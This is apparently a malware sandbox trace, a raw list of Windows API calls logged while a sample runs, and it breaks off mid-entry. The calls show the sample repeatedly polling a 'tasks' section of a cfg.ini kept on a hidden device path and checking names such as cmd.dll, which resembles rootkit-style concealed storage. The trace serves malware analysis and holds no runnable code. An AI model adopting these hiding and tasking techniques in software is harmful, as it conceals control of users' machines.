KeEnterCriticalRegion () [0130.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfe000 [0130.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.601] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.601] IdePortDispatch () returned 0x103 [0130.602] KeWaitForMutexObject () returned 0x0 [0130.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.602] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.602] IdePortDispatch () returned 0x103 [0130.602] KeWaitForMutexObject () returned 0x0 [0130.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.602] KeLeaveCriticalRegion () [0130.602] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.602] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.603] KeEnterCriticalRegion () [0130.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.603] KeLeaveCriticalRegion () [0130.603] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.603] KeEnterCriticalRegion () [0130.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.603] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.603] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.603] KeLeaveCriticalRegion () [0130.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.603] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.603] KeEnterCriticalRegion () [0130.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.603] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.603] KeLeaveCriticalRegion () [0130.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.603] ReleaseMutex (hMutex=0xf0) returned 1 [0130.603] Sleep (dwMilliseconds=0x927c0) [0130.620] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.620] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.620] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.620] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.620] KeEnterCriticalRegion () [0130.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.620] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.620] IdePortDispatch () returned 0x103 [0130.620] KeWaitForMutexObject () returned 0x0 [0130.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.621] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.621] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.621] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.621] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.621] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294edc0 [0130.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.621] KeLeaveCriticalRegion () [0130.621] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.621] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.621] KeEnterCriticalRegion () [0130.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.621] KeLeaveCriticalRegion () [0130.621] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.621] KeEnterCriticalRegion () [0130.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.621] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.621] IdePortDispatch () returned 0x103 [0130.621] KeWaitForMutexObject () returned 0x0 [0130.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.622] KeLeaveCriticalRegion () [0130.622] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.622] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.622] KeEnterCriticalRegion () [0130.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003453000 [0130.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.622] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.622] IdePortDispatch () returned 0x103 [0130.622] KeWaitForMutexObject () returned 0x0 [0130.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.622] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.622] IdePortDispatch () returned 0x103 [0130.623] KeWaitForMutexObject () returned 0x0 [0130.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.623] KeLeaveCriticalRegion () [0130.623] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.623] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.623] KeEnterCriticalRegion () [0130.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.623] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.623] KeLeaveCriticalRegion () [0130.623] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.624] KeEnterCriticalRegion () [0130.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.624] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294ee80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.624] KeLeaveCriticalRegion () [0130.624] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.624] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.624] KeEnterCriticalRegion () [0130.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.624] ExFreePoolWithTag (P=0xfffffa800294edc0, Tag=0x0) [0130.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.624] KeLeaveCriticalRegion () [0130.624] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.624] ReleaseMutex (hMutex=0xf0) returned 1 [0130.624] Sleep (dwMilliseconds=0x927c0) [0130.645] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.645] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.645] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.645] KeEnterCriticalRegion () [0130.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.645] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.645] IdePortDispatch () returned 0x103 [0130.645] KeWaitForMutexObject () returned 0x0 [0130.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.645] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.645] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.645] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.645] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.645] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845af0 [0130.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.645] KeLeaveCriticalRegion () [0130.646] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.646] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.646] KeEnterCriticalRegion () [0130.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.646] KeLeaveCriticalRegion () [0130.646] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.646] KeEnterCriticalRegion () [0130.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.646] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.646] IdePortDispatch () returned 0x103 [0130.646] KeWaitForMutexObject () returned 0x0 [0130.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.646] KeLeaveCriticalRegion () [0130.646] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.646] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.646] KeEnterCriticalRegion () [0130.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003458000 [0130.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.647] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.647] IdePortDispatch () returned 0x103 [0130.647] KeWaitForMutexObject () returned 0x0 [0130.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.647] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.647] IdePortDispatch () returned 0x103 [0130.647] KeWaitForMutexObject () returned 0x0 [0130.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.647] KeLeaveCriticalRegion () [0130.647] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.648] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.648] KeEnterCriticalRegion () [0130.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.648] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.648] KeLeaveCriticalRegion () [0130.648] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.648] KeEnterCriticalRegion () [0130.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.648] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.648] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294ee80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.648] KeLeaveCriticalRegion () [0130.648] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.648] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.648] KeEnterCriticalRegion () [0130.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.649] ExFreePoolWithTag (P=0xfffffa8002845af0, Tag=0x0) [0130.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.649] KeLeaveCriticalRegion () [0130.649] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.649] ReleaseMutex (hMutex=0xf0) returned 1 [0130.649] Sleep (dwMilliseconds=0x927c0) [0130.667] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.667] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.667] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.667] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.667] KeEnterCriticalRegion () [0130.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.667] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.668] IdePortDispatch () returned 0x103 [0130.668] KeWaitForMutexObject () returned 0x0 [0130.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.668] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.668] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.668] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.668] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.668] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294edc0 [0130.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.668] KeLeaveCriticalRegion () [0130.668] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.668] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.668] KeEnterCriticalRegion () [0130.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.668] KeLeaveCriticalRegion () [0130.668] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.668] KeEnterCriticalRegion () [0130.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.668] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.668] IdePortDispatch () returned 0x103 [0130.669] KeWaitForMutexObject () returned 0x0 [0130.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.669] KeLeaveCriticalRegion () [0130.669] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.669] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.669] KeEnterCriticalRegion () [0130.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345d000 [0130.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.669] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.669] IdePortDispatch () returned 0x103 [0130.669] KeWaitForMutexObject () returned 0x0 [0130.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.669] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.670] IdePortDispatch () returned 0x103 [0130.670] KeWaitForMutexObject () returned 0x0 [0130.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.670] KeLeaveCriticalRegion () [0130.670] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.670] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.671] KeEnterCriticalRegion () [0130.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.671] 